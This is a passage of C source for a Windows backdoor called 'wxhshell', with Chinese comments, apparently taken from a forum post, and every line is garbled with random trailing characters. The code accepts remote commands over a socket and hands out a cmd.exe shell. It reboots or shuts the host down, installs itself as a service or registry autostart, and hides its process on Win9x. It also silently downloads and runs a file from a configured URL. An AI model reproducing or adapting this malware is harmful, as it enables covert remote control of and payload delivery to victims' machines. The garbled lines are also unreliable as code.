  case '?': { %%G2w6 3M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A%k@75V@  
    break; b5No>U) /  
  } {" Van,w  
  // 安装 vCFMO3  
  case 'i': { ^UEI`_HO0  
    if(Install()) t}c ymX~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BCJo/m  
    else fp.,MIS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rNO'0Ck=  
    break; V~+Oil6sa  
    } Q\<C9%a  
  // 卸载 =Qsh3b&<P  
  case 'r': { vfK^^S  
    if(Uninstall()) g"`BNI]Qp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $!G7u<`na  
    else i`z1if6O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?y>P  
    break; qTj7mUk  
    } 1 }Tbp_  
  // 显示 wxhshell 所在路径 + Hc[5WL  
  case 'p': { !)?n n3  
    char svExeFile[MAX_PATH]; ~ZweP$l  
    strcpy(svExeFile,"\n\r"); }/4 AT  
      strcat(svExeFile,ExeFile); #@w8wCj  
        send(wsh,svExeFile,strlen(svExeFile),0); }cn46 L%/  
    break; VY<$~9a&1  
    } *l)_&p  
  // 重启 Zz!XH8sH  
  case 'b': { O6pswMhAc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }JeGjpAcV  
    if(Boot(REBOOT)) g"EvMv&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&r[`gL  
    else { )iNM jg  
    closesocket(wsh); 9s>q4_D  
    ExitThread(0); WldlN?[j  
    } }rj.N98  
    break; B: \\aOEj  
    } Pv17wUB  
  // 关机 ~pO6C*"  
  case 'd': { Aq yR+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IlVz 5#R  
    if(Boot(SHUTDOWN)) e=<knKc Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPONCL8(0  
    else { E2 Q[  
    closesocket(wsh); yS^";$2Tc  
    ExitThread(0); /x c<&  
    } oM G8?p  
    break; Nj$3Ig"l  
    } qjFz}6  
  // 获取shell  0w>V![  
  case 's': { VUpa^R  
    CmdShell(wsh); "1FPe63\*O  
    closesocket(wsh); DzydS=`w  
    ExitThread(0); V7[6jW gH  
    break; ]v(8i3P84  
  } 0x7F~%%2  
  // 退出 V(I!HT5.W  
  case 'x': { x$Y44v'>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2BZYC5jy  
    CloseIt(wsh); sD H^l)4h  
    break; ROlef;/A  
    }  s6bILz-u  
  // 离开 b`){f\#t  
  case 'q': { K1>X%f^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5\gL+ qM0  
    closesocket(wsh); GqMa|8j  
    WSACleanup(); `% IzW2v6  
    exit(1); -^LUa]"E  
    break; ?oana%  
        } gqV66xmJ3  
  } *oopdGue  
  } B>Tfyo  
UF0W%Z  
  // 提示信息 ,n<t':-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'n4Ro|kA  
} s~ ||Vv!  
  } nr7#}pzo  
Yv<' QC  
  return; Q&+Jeji  
} F*m^AFjs  
QK%Nt  
// shell模块句柄 5$f vI#NO<  
int CmdShell(SOCKET sock) Uc%n{ a-a  
{ %IrR+f+H  
STARTUPINFO si; eRU0gvgLu"  
ZeroMemory(&si,sizeof(si)); zx` %)r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4wYD-MB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x93h{K f  
PROCESS_INFORMATION ProcessInfo; H'KCIqo  
char cmdline[]="cmd"; P 4Vi~zMX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O AJGwm  
  return 0; rQmDpoy=  
} Y-!~x0-H  
KYE)#<V}@  
// 自身启动模式 1 aWzd[i  
int StartFromService(void) $J6Pv   
{ t/55tL  
typedef struct !%MI9Ok  
{ V`P8oIOh]  
  DWORD ExitStatus; ]Z\Z_t  
  DWORD PebBaseAddress; f@S n1c,Mk  
  DWORD AffinityMask; er@"4R0  
  DWORD BasePriority;  ?QA![  
  ULONG UniqueProcessId; F6 mc<n  
  ULONG InheritedFromUniqueProcessId; q^!_jMN5  
}   PROCESS_BASIC_INFORMATION; `9;0Y  
LLyw9y1  
PROCNTQSIP NtQueryInformationProcess; %+ln_lgD:  
ot\  FZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dz d[<Qln  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n/W@H Im#  
[|iWLPO1&k  
  HANDLE             hProcess; +85#`{ D  
  PROCESS_BASIC_INFORMATION pbi; Nq]8p =e  
o;'E("!<Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Ui3=8(  
  if(NULL == hInst ) return 0; k;5$]^x  
42/MBP`\Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (rKyX:Vsy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l5h+:^#M5c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X,5}i5'!  
/x%h@Cn!  
  if (!NtQueryInformationProcess) return 0; %MG{KG=&o  
/q| r!+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `wI$  
  if(!hProcess) return 0; jej.!f:H  
~[8n+p+&X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YnR8mVo5Q  
q+iG:B/Z  
  CloseHandle(hProcess); %G0J]QY{(x  
;R5@]Hg6q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CdBpz/  
if(hProcess==NULL) return 0; bG0 |+k3O  
87!D@Xn  
HMODULE hMod; ;X_bDiG$  
char procName[255]; I+oe{#:.  
unsigned long cbNeeded; .lsD+}  
m}UcF oaO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T`?7z+2A  
6jw9p+.  
  CloseHandle(hProcess); Xr:gm`[  
6ZO6 O=KD  
if(strstr(procName,"services")) return 1; // 以服务启动 #ovausK[7  
n?KhBJx 4  
  return 0; // 注册表启动 q ~%'V  
} 4nsc`Hu  
p9>{X\eT:  
// 主模块 ^fiJxU  
int StartWxhshell(LPSTR lpCmdLine) GLO%>&  
{ }VU^ 8D  
  SOCKET wsl; C/$bgK[ev  
BOOL val=TRUE; s5bqS'%  
  int port=0; 3_bE12  
  struct sockaddr_in door; O]4v\~@-j  
X<%`  
  if(wscfg.ws_autoins) Install(); K}t=Y  
agV z  
port=atoi(lpCmdLine); 1Clid\T,o  
uTShz3  
if(port<=0) port=wscfg.ws_port; Z";&1cK  
` 0$i^,}  
  WSADATA data; /0Jf/-}ovn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0g 2?  
Iuyq!R4:7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZUyS+60  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9^L{)t>  
  door.sin_family = AF_INET; lRk_<A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mEm=SpO[$o  
  door.sin_port = htons(port); t[e]AU[}  
$u~*V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZZ>"LH  
closesocket(wsl); {|d28!8w  
return 1; M(^_/ 1Z  
} 9 NGKh3V  
U{\9mt7b!  
  if(listen(wsl,2) == INVALID_SOCKET) { )/t&a$[  
closesocket(wsl); )3IUKz%\6p  
return 1; ~6"=d  
} {q/;G!ON.S  
  Wxhshell(wsl); $`A{-0=x\U  
  WSACleanup(); S$O5jX 0  
L6?~<#-m\M  
return 0; pCf9"LLer  
"S]G+/I|iw  
} kwXUjn p  
$>8O2p7W  
// 以NT服务方式启动 D6dliU?k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z2U6<4?1%  
{ upLjkQ)_  
DWORD   status = 0; XU`ly3!  
  DWORD   specificError = 0xfffffff; \#h{bnx  
s TVX/Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ew \WV "  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qeW.~B!B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]xkh"j+W  
  serviceStatus.dwWin32ExitCode     = 0; Pn,>eD*g  
  serviceStatus.dwServiceSpecificExitCode = 0; {Rdh4ZKh  
  serviceStatus.dwCheckPoint       = 0; =@nE:uto]  
  serviceStatus.dwWaitHint       = 0; 5DpvMhc_  
!kG|BJ$j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4@+']vN4  
  if (hServiceStatusHandle==0) return; v.&c1hKHb  
dB)-qL8,2  
status = GetLastError(); 7K HQ0  
  if (status!=NO_ERROR) uHsLlfTn  
{ MK-+[K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !|W.YbS  
    serviceStatus.dwCheckPoint       = 0; eslvg#Q  
    serviceStatus.dwWaitHint       = 0; ]v/pMg#-  
    serviceStatus.dwWin32ExitCode     = status; NQGa=kXeJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4ClSl#X#i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C2aA])7 D  
    return; **\?-*c=U  
  } TI}a$I*  
dVPY07P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K.=5p/^a  
  serviceStatus.dwCheckPoint       = 0; ,(RpBTV  
  serviceStatus.dwWaitHint       = 0; (wFoI}s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 27+~!R~Yw  
} F( 4Ue6R  
`g_r<EY8/  
// 处理NT服务事件,比如:启动、停止 ]H aX.Z<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A/"<o5(T(P  
{ Y_}_)nE@m  
switch(fdwControl) G!`PP  
{ 9[`c"Pd  
case SERVICE_CONTROL_STOP: Lu~E5 ,  
  serviceStatus.dwWin32ExitCode = 0; ;[79Ewd#$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -dWg1`;  
  serviceStatus.dwCheckPoint   = 0; diNAT`|?#  
  serviceStatus.dwWaitHint     = 0; .p]r S =#  
  { bSz@@s.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V%{WH}  
  } ek.@ 0c  
  return; {+ Ibi{  
case SERVICE_CONTROL_PAUSE: 0~EGrEt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s3T7M:DM4  
  break; [K@(,/$  
case SERVICE_CONTROL_CONTINUE: ySB0"bl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c^O&A\+;  
  break; @eZBwFe  
case SERVICE_CONTROL_INTERROGATE: qX`Hi9ja  
  break; }VRl L>HAC  
}; fJP *RVz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |VzXcV-"8)  
} JQ;.+5 N<K  
F\hVunPVx  
// 标准应用程序主函数 c:52pYf+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c3Gy1#f:#2  
{ pH2/." zE<  
}a/z.&x]V  
// 获取操作系统版本 'Hzc"<2Y\  
OsIsNt=GetOsVer(); $hHV Ie]+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z(8G=C  
piH0_7qr  
  // 从命令行安装 Q)y5'u qZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); mo3A*|U  
"G-h8IN^O  
  // 下载执行文件 kxN O9w  
if(wscfg.ws_downexe) { Ozhn`9L+1!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 98)C 7N'  
  WinExec(wscfg.ws_filenam,SW_HIDE); xmEom  
} Y+o\?|q-E  
[KFCc_:  
if(!OsIsNt) { q2r$j\L%  
// 如果时win9x,隐藏进程并且设置为注册表启动 RJUIB  
HideProc(); NM^uP+uS  
StartWxhshell(lpCmdLine); wx[m-\  
} ~#4FL<W  
else 2NJ\`1HZ\  
  if(StartFromService()) Mo<q(_ZeRP  
  // 以服务方式启动 c_CVZR?  
  StartServiceCtrlDispatcher(DispatchTable); g~b$WV%  
else @ZjO#%Ep/  
  // 普通方式启动 Z:<an+v|5  
  StartWxhshell(lpCmdLine); -)B_o#2=2  
_;U%`/T b  
return 0; =-_hq'il  
}
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只看该作者 1 发表于: 2006-10-10
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